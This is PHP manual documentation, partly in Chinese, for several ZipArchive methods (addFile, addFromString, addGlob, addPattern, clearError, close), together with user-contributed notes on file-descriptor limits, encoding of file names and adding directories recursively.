If supplied and not empty, this is the local name inside the ZIP archive that will override the filepath.

start

For partial copy, start position.

length

For partial copy, length to be copied, if ZipArchive::LENGTH_TO_END (0) the file size is used, if ZipArchive::LENGTH_UNCHECKED the whole file is used (starting from start).

flags

Bitmask consisting of
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437,
ZipArchive::FL_OPEN_FILE_NOW.
The behaviour of these constants is described on the
ZIP constants page.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 / 1.18.0 | flags was added.
8.3.0 / 1.22.1 | ZipArchive::FL_OPEN_FILE_NOW was added.
8.3.0 / 1.22.2 | ZipArchive::LENGTH_TO_END and ZipArchive::LENGTH_UNCHECKED were added.

示例

This example opens a ZIP file archive test.zip and add the file /path/to/index.txt. as newname.txt.

Example #1 Open and add

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->addFile('/path/to/index.txt', 'newname.txt');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

注释

Note:

When a file is set to be added to the archive, PHP will lock the file. The lock is only released once the ZipArchive object has been closed, either via ZipArchive::close() or the ZipArchive object being destroyed. This may prevent you from being able to delete the file being added until after the lock has been released.

参见

  • ZipArchive::replaceFile() - Replace file in ZIP archive with a given path

User Contributed Notes

610010559 at qq dot com 16-Mar-2022 03:52
there are some points  can be more clear, it take me some time to figure out. hope it can help you.
1.use addFile() ,method to add the file with path to zip. if the directory not exist, addFile() would auto create it.
<?php
   ....
   //addFile would help you create the directory named not_exist_director before add the filename.txt file.
   $zip->addFile($fileToAdd, '/not_exist_directory/filename.txt');
   ...
?>

2. addFile() would overwrite the old file if exist in default.
<?php
   ....
   //if the filename.txt is exist in the zip, addFile() would overwrite it. because the the addFile fifth param is ZipArchive::FL_OVERWRITE by default.
   $zip->addFile($fileToAdd, '/filename.txt');
   ...
?>
raja at rsdisk dot com 10-Nov-2018 08:57
zip->addfile function does not add file to archive immediately. It is cued and executed at zip->close()

I had backup files in a dir. with a foreach statement I was adding the file to an archive and then moving the files into dump dir immediately.

This caused an error.

<?php
$dir = getcwd().'/';
$dirContent = scandir('./');
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
        $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "; file added\n");
}
$zip->close();
?>

The $zip->close() needs to execute before moving files,
<?php
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
    echo( "; file added\n");
}
$zip->close();
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "$file moved\n");
}
?>
gio AT giombg dot com 20-Jan-2018 08:22
work 4 me

$zip = new ZipArchive;
$zip_name = ('name.zip');
$path_zip = ($config['path'].'/zip/'.$zip_name);
$zip->open($path_zip,ZipArchive::CREATE);
$zip->addFile($path1.'/'.$nam1,$nam1);
$zip->addFile($path2.'/'.$nam2,$nam2);
$zip->close();

ciao
GioMBG
ohcc at 163 dot com 01-Aug-2016 01:22
如果文件名包含汉字，ZIPARCHIVE::addFile() 会导致无法将文件压缩到压缩包中，或者压缩以后文件名乱码。

可以使用ZipArchive::addFromString()来实现。

注意：如果操作系统是Windows，文件系统编码是gbk.
如果php文件的文件编码是utf-8，需要相应转码。

ZipArchive::addFile() fails if the filename contains Chinese characters.

ZipArchive::addFromString() should be used instead.

<?php

    $z = new ZipArchive;

    $file = '吴先成.txt';

    if($z->open(ZIPARCHIVE::CREATE)===true){
        $z->addFromString($file, file_get_contents($file));
        //for windows
        //$z->addFromString($file, file_get_contents(iconv('utf-8', 'gbk//ignore', $file)));
    }
    // ...
ohcc at 163 dot com 16-Dec-2015 05:04
Do NOT use ZipArchive::addFile() to append a folder.

When a folder's path is passed to ZipArchive::addFile(), the method returns true, but ZipArchive can neither create a zip archive nor can it make any change to a existing file.

<?php
    $z = new ZipArchive();
    if(true === ($z->open('./foo.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE))){
        $z->setArchiveComment('Interesting!');
        $z->addFromString('domain.txt', 'wuxiancheng.cn');
        $folder = './test';
        !is_dir($folder) && mkdir($folder); // Create an folder for testing
        if(true === $z->addFile($folder)){
            echo 'success'; // !!!
        }
        rmdir($folder);
        $z->close();
        // foo.zip will NOT be saved on disk.
        // If foo.zip already exists before we run this script, the file will remain unchanged.
    }
?>
stanislav dot eckert at vizson dot de 02-Mar-2015 11:43
2 tips:

- The example in on this page is a bit misleading for new programmers. It works only if the ZIP archive file exists already. Don't forget to use ZipArchive::CREATE and optionally ZipArchive::OVERWRITE in the second optional parameter in the open() function.

- If you want to add files and directories recursively (see some examples from other comments here on this page) use scandir() instead of blob() because blob() does not list hidden files like ".htaccess" for example.
todd at toddwiggins dot com dot au 15-May-2014 03:31
The addFile() method does not accept the "file://" protocol. Strip away "file://" and use the absolute path instead.

I assume that it also does not accept any other protocols, I was having issues trying to add files, other functions within the application I was building required the use of the protocol.

Also to note, the status code returned did not match any of the predefined error codes, and the status code was never the same. My assumption was a overflow on the variable as the status codes were around the minimum and maximum INT values.
frame86 at live dot com 13-Apr-2014 04:48
The manual is lying.

"In short, it means you can first delete an added file after the archive is closed. "

Thats true but not by locking the file...
Warning! This method works asynchronous!

It seems that addFile() will return TRUE if the file stat command returns correctly, but the operation itself will not happen yet.

Instead, deleting a file is always possible. I have discovered this behaviour by using a temporary file and deleting it immediately after addFile() returns. The result was that no archive was created nor any file was added although every operation (creating,open(),addFile()) returned true before. The operation silenty fails.
romuloum at hotmail dot com 03-Apr-2014 07:00
If you have problem with windows explorer reading zipfile created by linux, try:
$oZip->addFile ( $file_name, " " . basename ( $file_name ) )
That space " " should solve.
s dot eckert dot spam at gmx dot com 11-Oct-2013 03:27
Note that there is no concept of "folders" for ZIP files. If you need to store data into folders, use forward slashes ("/") in $localname to separate folder(s) and the file name.

Example:
$zip->addFile("test.txt", "mainfolder/subfolder/test.txt");
arrtedone at gmail dot com 29-Aug-2013 08:19
Note that ZipArchive::open() not return boolean value, but integer, for example :
$zip = new ZipArchive();
$filename = '/tmp/test.zip';
var_dum($zip->open($filename)); // return's : int (11)
kris at blacksuitmedia [do/t/] c0m 25-Apr-2013 08:41
I had a huge number of files and folders that I needed to zip on a linux web server. I was running into timeout problems and file enumerator issues, as well as file handler limit issues (ulimit). I used a script to solve u limit offered by Farzad Ghanei first (ZipArchiveImproved), but closing and reopening his way didn't do the trick for me.

I eventually did a simple call to a $filelimit variable I created that records file handler limit I want my script to hit before it closes and reopens the file.
<?php
$filelimit = 255;

if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}
?>

This made some progress for me, timeouts were gone, but when calling
<?php $zip->addFile($filepath, $archivefilepath); ?>
after the reopening of the Zip, I got an error. I echoed the <?php $zip->numFiles; ?> and found that after reopening, the numFile enum reset to '0'.

A few more goose-chases later, I tried addFromString with some better results, but did not get it working 100% until I actually coupled addFromString with addFile! My working scripting for the add files function on massive file-folder structures looks like so:

<?php
$sourcefolder = /rel/path/to/source/folder/on/server/

$dirlist = new RecursiveDirectoryIterator($sourcefolder);

$filelist = new RecursiveIteratorIterator($dirlist);

//how many file can be added before a reopen is forced?
$filelimit = 245;

// Defines the action
$file = tempnam("tmp", "zip");
$zip = new ZipArchive();

// This creates and then gives the option to save the zip file

if ($zip->open($file, ZipArchive::OVERWRITE) !== TRUE) {

    die ("Could not open archive");

}

// adds files to the file list
foreach ($filelist as $key=>$value) {

    //fix archive paths
    $path = str_replace($sourcefolder, "", $key); //remove the source path from the $key to return only the file-folder structure from the root of the source folder
    if (!file_exists($key)) { die($key.' does not exist. Please contact your administrator or try again later.'); }
      if (!is_readable($key)) { die($key.' not readable. Please contact your administrator or try again later.'); }
          if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}

    $zip->addFromString($path, $key) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);
    $zip->addFile(realpath($key), $path) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);

}

// closes the archive
$zip->close();

//make local temp file a .zip, rename, and move to output dir
rename ($file, "./" . $outputfolder . "/" . $zipfilename);
?>
I hope this may help someone else.
Dean Rather 31-Oct-2012 03:47
This add directory function does not require that you create a new wrapper class, and also does not add the entire file directory tree into your zip file.

<?php

public function addDirectoryToZip($zip, $dir, $base)
{
    $newFolder = str_replace($base, '', $dir);
    $zip->addEmptyDir($newFolder);
    foreach(glob($dir . '/*') as $file)
    {
        if(is_dir($file))
        {
            $zip = $this->addDirectoryToZip($zip, $file, $base);
        }
        else
        {
            $newFile = str_replace($base, '', $file);
            $zip->addFile($file, $newFile);
        }
    }
    return $zip;
}

?>
shano 01-May-2012 02:21
thought it might come in handy
recursively adds all directories and files within a directory

class zip extends ZipArchive {

    public function addDirectory($dir) { // adds directory
        foreach(glob($dir . '/*') as $file) {
            if(is_dir($file))
                $this->addDirectory($file);
            else
                $this->addFile($file);
        }
    }
}
ptipti at gala dot net 06-Apr-2012 12:12
Another surprise, which took a lot of trouble. So that after you add a file to the archive it can be safely removed, took advantage of such construction:

if (!is_file ($archive)) :
    $result = $zip->open ($archive, ZipArchive::CREATE);
else :
    $result = $zip->open ($archive);
endif;
if ($result === TRUE) :
    if (($zip->addFile ($file, $filename)) === TRUE) :
        $theoreticaly_added = TRUE;
    endif;
    if ((($zip->close ()) === TRUE) && $theoreticaly_added) :
        unlink ($file);
    endif;
endif;

Now the files will not disappear. But perhaps there is a simpler solution, which gives 100% guarantee?
sp at read dot eu 16-Feb-2012 08:25
Note that using addFile() will change the order of the files within the zip, in fact within the index of the zip. Does not matter much, except if you loop the index and use addFile() within that loop : it will likely give messy results.

Example :
<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      addFile('./somenewfile.ext', $zip->getNameIndex($i));
    }
  }
}
$zip->close();
?>

This code may loop for ever, depending on your forsomereason() function, or at least you're at risk.

Try something like this instead :

<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      $couples[]=array('filename'=>'./somenewfile.ext','localname'=>$zip->getNameIndex($i));
    }
  }
}
foreach ($couples as $couple) $zip->addFile($couple['filename'],$couple['localname']);
$zip->close();
?>

Hope it helps ;-)
john factorial 29-Dec-2010 12:57
Beware: calling $zip->addFile() on a file that doesn't exist will succeed and return TRUE, delaying the failure until you make the final $zip->close() call, which will return FALSE and potentially leave you scratching your head.

If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist.

It's also a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
aartdebruijn at gmail dot com 04-Nov-2010 06:37
When adding a file to your zip, the file is opened and stays open.
When adding over 1024 files (depending on your open files limit) the server stops adding files, resulting in a status 11 in your zip Archive. There is no warning when exceeding this open files limit with addFiles.

Check your open files with ulimit -a

This kept me busy for some time.
camuc at camuc dot net 27-Apr-2010 08:23
In some versions of this library you NEED to add the "localfile" parameter or the file will not show in the Zip folder.
pelpet at ic dot cz 20-Apr-2010 09:02
<?php
$zip=new ZipArchive;
$zip->addFile('path to the file', 'new name of the file');
?>

What I have to do, when I wan't to have the file in the zip archive with it's name before archiving?
(Sorry, I'm from Czech Republic and I can't speak English very well, if I did anywhere mistake, so ignore that pease :-)
jayarjo 24-Feb-2010 01:44
It is not obvious, since there are no noticeable examples around, but you can use $localname (second parameter) to define and control file/directory structure inside the zip. Use it if you do not want files to be included with their absolute directory tree.

<?php

$zip->addFile($abs_path, $relative_path);

?>
Anonymous 18-Jan-2010 10:30
On my system (Windows), I found that ZipArchive uses IBM850 encoding for filenames (localname). For filenames with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1, it is at 0x82 in IBM850. I had to call iconv('ISO-8859-1', 'IBM850', 'Québec') to get correct file names.
peter at boring dot ch 22-Aug-2009 06:10
Here's a little extension to ZipArchive that handles directories recursively:

<?php

class Zipper extends ZipArchive {

public function addDir($path) {
    print 'adding ' . $path . '<br>';
    $this->addEmptyDir($path);
    $nodes = glob($path . '/*');
    foreach ($nodes as $node) {
        print $node . '<br>';
        if (is_dir($node)) {
            $this->addDir($node);
        } else if (is_file($node))  {
            $this->addFile($node);
        }
    }
}

} // class Zipper

?>
christophe dot braud at aquafadas dot com 11-Aug-2009 03:10
If you have some warnings with ZipArchiveImproved since the last Ubuntu update, replace "self::CREATE" by "self::CREATE | self::OVERWRITE" in the reopen function

christophe
garcia at no_span dot krautzer-lynn dot com 24-Mar-2009 06:31
If you add files that have an absolut path, like for example:
/mnt/repository/my_file.pdf
the standard windows zip utility will not be able to extract the files. The first slash trips the zip utility. You have to add relative file paths or use a symbolic link.
ss at littlerain dot com 30-Jan-2009 04:45
Note that the file isn't actually added to the archive until the $zip->close() method is called. I spent a lot of time trying to figure out why no time() went by after adding large files via $zip->addFile() but would then time out the script.
Farzad Ghanei 18-Jan-2009 02:53
here is a basic class that extends the ZipArchive to:
  * add a functionality to report the ZIP file address (I needed it and I could not find out how in ZipArchive documentation).
  * resolve the problem of adding so many files to the archive due file descriptor limit. the ZipArchiveImproved::addFile() handles this.

<?php
/**
 * ZipArchiveImproved extends ZipArchive to add some information about the zip file and some functionality.
 *
 *
 *
 * @author Farzad Ghanei
 * @uses ZipArchive
 * @version 1.0.0 2009-01-18
 */

class ZipArchiveImproved extends ZipArchive {
    protected $_archiveFileName = null;
    protected $_newAddedFilesCounter = 0;
    protected $_newAddedFilesSize = 100;

    /**
     * returns the name of the archive file.
     *
     * @return string
     */
    public function getArchiveFileName() {
        return $this->_archiveFileName;
    }

    /**
     * returns the number of files that are going to be added to ZIP
     * without reopenning the stream to file.
     *
     * @return int
     */
    public function getNewAddedFilesSize() {
        return $this->_newAddedFilesSize;
    }

    /**
     * sets the number of files that are going to be added to ZIP
     * without reopenning the stream to file. if no size is specified, default is 100.
     *
     * @param int
     * @return ZipArchiveImproved self reference
     */
    public function setNewlAddedFilesSize($size=100) {
        if ( empty($size) || !is_int($size) || $size < 1) {
            $size = 100;
        }
        $this->_newAddedFilesSize = $size;
        return $this;
    }

    /**
     * opens a stream to a ZIP archive file. calls the ZipArchive::open() internally.
     * overwrites ZipArchive::open() to add the archiveFileName functionality.
     *
     * @param string $fileName
     * @param int $flags
     * return mixed
     */
    public function open($fileName, $flags) {
        $this->_archiveFileName = $fileName;
        $this->_newAddedFilesCounter = 0;
        return parent::open($fileName,$flags);
    }

    /**
     * closes the stream to ZIP archive file. calls the ZipArchive::close() internally.
     * overwrites ZipArchive::close() to add the archiveFileName functionality.
     *
     * @return bool
     */
    public function close() {
        $this->_archiveFileName = null;
        $this->_newAddedFilesCounter = 0;
        return parent::close();
    }

    /**
     * closes the connection to ZIP file and openes the connection again.
     *
     * @return bool
     */
    public function reopen() {
        $archiveFileName = $this->_archiveFileName;
        if ( !$this->close() ) {
            return false;
        }
        return $this->open($archiveFileName,self::CREATE);
    }

    /**
     * adds a file to a ZIP archive from the given path. calls the ZipArchive::addFile() internally.
     * overwrites ZipArchive::addFile() to handle maximum file connections in operating systems.
     *
     * @param string $fileName the path to file to be added to archive
     * @param string [optional] $localname the name of the file in the ZIP archive
     * @return bool
     */
    public function addFile( $fileName ) {
        if ($this->_newAddedFilesCounter >= $this->_newAddedFilesSize) {
            $this->reopen();
        }
        if ( func_num_args() > 1 ) {
            $flags = func_get_arg(1);
            $added = parent::addFile($fileName,$flags);
            if ($added) {
                $this->_newAddedFilesCounter++;
            }
            return $added;
        }
        $added = parent::addFile($fileName);
        if ($added) {
            $this->_newAddedFilesCounter++;
        }
        return $added;
    } // public function addFile()
}
?>
marco at maranao dot ca 15-Dec-2008 10:45
This is my workaround for the file descriptor limit by closing/opening the archive file periodically.

<?php
if($backup = new ZipArchive()) {
    if($backup->open($zip, ZIPARCHIVE::OVERWRITE) === true) {
        $backup->addFile($file['realpath'], $file['path']);
        if(($count++) == 200) { // the file descriptor limit
            $backup->close();
            if($backup = new ZipArchive()) {
                $backup->open($zip);
                $count = 0;
            }
        }
    }
    $backup->close();
}
?>

Hope it helps someone.
javierseixas at gmail dt com 17-Jul-2008 08:30
I have had several problems trying adding files, because of a path problem. The error gived was this:

ZipArchive::addFile() [function.ZipArchive-addFile]: Unable to access <path>

I used an absolute root starting by "/", and it didn't work. Try starting your path with "./" (referencing the root of your site).
wacher at freemail dot hu 23-Jun-2008 01:03
The workaround above (file_get_contents) is very dangerous if you pack large files. (see memory limit).
Close/open the zip archive periodically instead of using file_get_contents().
stanleyshilov {} gmail.com 11-May-2008 12:05
It should be noted that the example provided above is not accurate.

Unlike extractTo, zip_open does not return a boolean result, so the above example will always fail.
mike at thetroubleshooters dot dk 07-Feb-2008 07:20
What is worse is that when you run out of filedescriptors it seems to fail silently, I have not been able to find any errors in any logfiles.
Andreas R. newsgroups2005 at geekmail de 03-Apr-2007 06:29
Currently the number of files that can be added using addFile to the ZIP archive (until it is closed) is limited by file descriptors limit. This is an easy workaround (on the bug links below you can find another workarounds):
<?php
    /** work around file descriptor number limitation (to avoid failure
     * upon adding more than typically 253 or 1024 files to ZIP) */
    function addFileToZip( $zip, $path, $zipEntryName ) {
        // this would fail with status ZIPARCHIVE::ER_OPEN
        // after certain number of files is added since
        // ZipArchive internally stores the file descriptors of all the
        // added files and only on close writes the contents to the ZIP file
        // see: http://bugs.php.net/bug.php?id=40494
        // and: http://pecl.php.net/bugs/bug.php?id=9443
        // return $zip->addFile( $path, $zipEntryName );

        $contents = file_get_contents( $path );
        if ( $contents === false ) {
            return false;
        }
        return $zip->addFromString( $zipEntryName, $contents );
    }
?>


Add a file to a ZIP archive using its contents

  • ? ZipArchive::addFile
  • ZipArchive::addGlob ?
  • PHP Manual
  • ZipArchive
  • Add a file to a ZIP archive using its contents

ZipArchive::addFromString

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFromString — Add a file to a ZIP archive using its contents

说明

public ZipArchive::addFromString(string $name, string $content, int $flags = ZipArchive::FL_OVERWRITE): bool

Add a file to a ZIP archive using its contents.

Note: 为了最大限度地提高代码可移植性，建议在 ZIP 文件名中使用斜线 (/) 做为目录分隔符。

参数

name

The name of the entry to create.

content

The contents to use to create the entry. It is used in a binary safe mode.

flags

Bitmask consisting of ZipArchive::FL_OVERWRITE, ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, ZipArchive::FL_ENC_CP437. The behaviour of these constants is described on the ZIP constants page.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 / 1.18.0 | flags was added.

示例

Example #1 Add an entry to a new archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'file content goes here');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

Example #2 Add file to a directory inside an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->addFromString('dir/test.txt', 'file content goes here');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

Jon at 9072997 dot com (yes that is real) 29-Apr-2022 03:44
ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, and ZipArchive::FL_ENC_CP437 affect the $name parameter, not $content
hossam6 at gmail dot com 01-Jul-2020 06:32
in case your string contain Arabic char, ZipArchive::addFromString will show it in wrong format char.
in this case you have to change your string coding from Unicode to Windows-1256 code

$filetxt        = iconv('utf-8','CP1256',$filetxt);
$zip            = new ZipArchive;
$zipFName    = "Tmp.zip";
if ($zip->open($zipFName, ZipArchive::CREATE) === TRUE)
{
    $zip->addFromString($fileName . '.csv',  $filetxt);
    $zip->close();
}
tahazit dot co dot il at gmail dot com 28-Nov-2014 01:18
On PHP >5.4, This function will usually create any subfolders inside the ZIP archive.
For instance:

   $zip->addFromString ( 'path/to/file.txt' , $data );

will create the folders "path/", and "path/to/" in addition to placing the newly created file "file.txt" in "path/to/" folder.
xslidian at lidian dot info 20-Feb-2013 12:57
Although numFiles will change after overwriting a file, it will be back normal when you ZipArchive::close() and open() it again.
NULL indexes don't persist either. Only the new order is kept. So feel free to overwrite.

Here overwriting works the same as deleting and adding. So it's not necessary to ZipArchive::deleteName() first.
calebcjh 19-May-2010 12:54
Although this function displaces files of the same name, in actual fact, the original file is blanked and a new entry is added. The numFiles property is incremented.

Example:

File 1: foo
File 2: bar

$zip->addFromString('foo', 'new foo');

File 1:
File 2: bar
File 3: foo
gbti at ukr dot net 16-Nov-2008 10:01
if you try:

<?php
$zip->open("file", ZipArchive::CREATE);
$zip->addFromString("russian_letters/options.xml");
?>

wrong directory will be created.

if you try:

<?php
$zip->addEmptyDir("russian_letters");
?>

All be fine.
Jacques Chester 30-Jan-2007 09:10
Note that this function overwrites existing files of the same name.


Add files from a directory by glob pattern

  • ? ZipArchive::addFromString
  • ZipArchive::addPattern ?
  • PHP Manual
  • ZipArchive
  • Add files from a directory by glob pattern

ZipArchive::addGlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addGlob — Add files from a directory by glob pattern

说明

public ZipArchive::addGlob(string $pattern, int $flags = 0, array $options = []): array|false

Add files from a directory which match the glob pattern.

Note: 为了最大限度地提高代码可移植性，建议在 ZIP 文件名中使用斜线 (/) 做为目录分隔符。

参数

pattern

A glob() pattern against which files will be matched.

flags

A bit mask of glob() flags.

options

An associative array of options. Available options are:

  • "add_path"

    Prefix to prepend when translating to the local path of the file within the archive. This is applied after any remove operations defined by the "remove_path" or "remove_all_path" options.

  • "remove_path"

    Prefix to remove from matching file paths before adding to the archive.

  • "remove_all_path"

    true to use the file name only and add to the root of the archive.

  • "flags"

    Bitmask consisting of
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437,
ZipArchive::FL_OPEN_FILE_NOW.
The behaviour of these constants is described on the
ZIP constants page.

  • "comp_method"

    Compression method, one of the ZipArchive::CM_* constants, see ZIP constants page.

  • "comp_flags"

    Compression level.

  • "enc_method"

    Encryption method, one of the ZipArchive::EM_* constants, see ZIP constants page.

  • "enc_password"

    Password used for encryption.

返回值

An array of added files on success 或者在失败时返回 false

更新日志

版本 | 说明
8.0.0 / 1.18.0 | "flags" in options was added.
8.0.0 / 1.18.1 | "comp_method", "comp_flags", "enc_method" and "enc_password" in options were added.
8.3.0 / 1.22.1 | ZipArchive::FL_OPEN_FILE_NOW was added.

示例

Example #1 ZipArchive::addGlob() example

Add all php scripts and text files from current working directory

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
printf('Failed with code %d', $ret);
} else {
$options = array('add_path' => 'sources/', 'remove_all_path' => TRUE);
$zip->addGlob('*.{php,txt}', GLOB_BRACE, $options);
$zip->close();
}
?>

参见

  • ZipArchive::addFile() - Adds a file to a ZIP archive from the given path
  • ZipArchive::addPattern() - Add files from a directory by PCRE pattern

User Contributed Notes

Francesc Pineda Segarra 26-Jan-2017 01:50
For me the better way seems to be:

$options = array('add_path' => DIRECTORY_SEPARATOR, 'remove_all_path' => TRUE);

On Windows uses \, on others /
sunbinzzzzz at gmail dot com 13-Dec-2016 07:16
Yes!! neither 'remove_all_path' or 'remove_path'  be working，if you want the right result，you should like this， $option = array( 'add_path' => '/', 'remove_all_path' => 'your path' );   'add_path' just give a '/'， then you will (; 。
sumariva at gmail dot com 07-Apr-2015 01:40
As others suggested, to remove all paths, use the space as basepath.
Zip opened with builtin utility on a Windows XP and WinRAR.

$options = array('add_path' => ' ','remove_all_path' => TRUE);

Thanks for all contributers.
johnsmith at na dot com 19-Feb-2015 03:36
Neither 'remove_all_path' or 'remove_path' options seem to be workng
zckernel at gmail dot com 13-Feb-2015 12:52
Doesn't work with the following options:
$options = array('remove_all_path' => TRUE);
$zipArchive->addGlob($path."/*", GLOB_BRACE, $options);

The full path to file is adding to the archive.

Works well if:
$options = array('add_path' => './','remove_all_path' => TRUE);


Add files from a directory by PCRE pattern

  • ? ZipArchive::addGlob
  • ZipArchive::clearError ?
  • PHP Manual
  • ZipArchive
  • Add files from a directory by PCRE pattern

ZipArchive::addPattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addPattern — Add files from a directory by PCRE pattern

说明

public ZipArchive::addPattern(string $pattern, string $path = ".", array $options = []): array|false

Add files from a directory which match the regular expression pattern. The operation is not recursive. The pattern will be matched against the file name only.

参数

pattern

A PCRE pattern against which files will be matched.

path

The directory that will be scanned. Defaults to the current working directory.

options

An associative array of options accepted by ZipArchive::addGlob().

返回值

An array of added files on success 或者在失败时返回 false

示例

Example #1 ZipArchive::addPattern() example

Add all php scripts and text files from current directory

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
printf('Failed with code %d', $ret);
} else {
$directory = realpath('.');
$options = array('add_path' => 'sources/', 'remove_path' => $directory);
$zip->addPattern('/\.(?:php|txt)$/', $directory, $options);
$zip->close();
}
?>

参见

  • ZipArchive::addFile() - Adds a file to a ZIP archive from the given path
  • ZipArchive::addGlob() - Add files from a directory by glob pattern

User Contributed Notes

There are no user contributed notes for this page.


清除状态错误消息、系统和/或 zip 消息

  • ? ZipArchive::addPattern
  • ZipArchive::close ?
  • PHP Manual
  • ZipArchive
  • 清除状态错误消息、系统和/或 zip 消息

ZipArchive::clearError

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::clearError — 清除状态错误消息、系统和/或 zip 消息

说明

public ZipArchive::clearError(): void

清除状态错误消息、系统和/或 zip 消息。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • ZipArchive::getStatusString() - Returns the status error message, system and/or zip messages

User Contributed Notes

There are no user contributed notes for this page.


Close the active archive (opened or newly created)

  • ? ZipArchive::clearError
  • ZipArchive::count ?
  • PHP Manual
  • ZipArchive
  • Close the active archive (opened or newly created)

ZipArchive::close

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::close — Close the active archive (opened or newly created)

说明

public ZipArchive::close(): bool

Close opened or created archive and save changes. This method is automatically called at the end of the script.

If the archive contains no files, the file is completely removed by default (no empty archive is written) according to the value of the ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE global flag.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ZipArchive::setArchiveFlag() - 设置 ZIP 归档的全局 flag

User Contributed Notes

Clemens 28-Feb-2023 08:33
If you get an error like "ZipArchive::close(): Renaming temporary file failed: Permission denied" at random times, check your antivirus software (e.g. Trellix), which may block writing while scanning the file. In my case, I had to check with flock until file is unlocked.
luciandex 16-Dec-2021 02:22
I am not sure, but seems that $zip->close() can run into errors if the path specified in $zip->open is a relative path, not absolute.
So, when create archives, please specify ABSOLUTE PATH, not relative path for zip file to be created.
Enyby 08-Jan-2017 06:22
If you open archive without flags in PHP 5.6 then you can get errors on close:
Warning: ZipArchive::close(): Zip archive inconsistent in
And changes not saved.
You need use flag ZIPARCHIVE::OVERWRITE on $zip->open.

This issue happens for me only in php 5.6. In php 5.4 and before it works without any flags to $zip->open.
javier dot santacruz at avature dot net 28-Sep-2016 11:05
ZipArchive.close() changes its behaviour in PHP7. The function ignores directories in PHP5 but fails in PHP7 with:

Unexpected PHP error [ZipArchive::close(): Read error: Is a directory]

The following code works in PHP5 but not in PHP7:

<?php
// test.php
$zip = new ZipArchive();
$zip->open('/tmp/test.zip', ZipArchive::CREATE);
$zip->addFile('.', '.');
$ret = $zip->close();
echo "Closed with: " . ($ret ? "true" : "false") . "\n";
?>

For php5:

php --version
  PHP 5.5.38-1-avature-ondrej-fork (cli) (built: Aug 31 2016 16:37:38)

php test.php
  Closed with: true

For php7:

php --version
  PHP 7.0.8-0ubuntu0.16.04.2 (cli) ( NTS )

php test.php
  Closed with: false
valera at creator dot su 08-Aug-2014 01:22
Pay attention, that ZipArchive::addFile() only opens file descriptor and does not compress it. And only ZipArchive::close() compress file and it take quite a lot of time. Be careful with timeouts.
m021 at springtimesoftware dot com 19-May-2011 01:14
If you have created a zip file and added a file to it without error, yet the ZipArchive::close call fails (with ER_TMPOPEN: "Failure to create temporary file") and the zip file is not created, check to see if your ZipArchive::open call specifies a pathname containing nonexisting directories. If you expect a containing hierarchy of one or more directories, you must create them yourself before using using ZipArchive. You can write a simple function to recurse using dirname to find each parent directory, creating those that don't exist by using mkdir when leaving the recursion.
webnull dot www at gmail dot com 12-Mar-2011 01:40
Please note you must have write permissions to file and directory where the files is placed to save the archive.
john factorial 29-Dec-2010 12:58
If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist. Apparently $zip->addFile() returns TRUE even if the file doesn't actually exist. It's a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
jared at kippage dot com 02-Sep-2009 06:08
It may seem a little obvious to some but it was an oversight on my behalf.

If you are adding files to the zip file that you want to be deleted make sure you delete AFTER you call the close() function.

If the files added to the object aren't available at save time the zip file will not be created.
gilthans at gmail dot com 22-Oct-2007 11:16
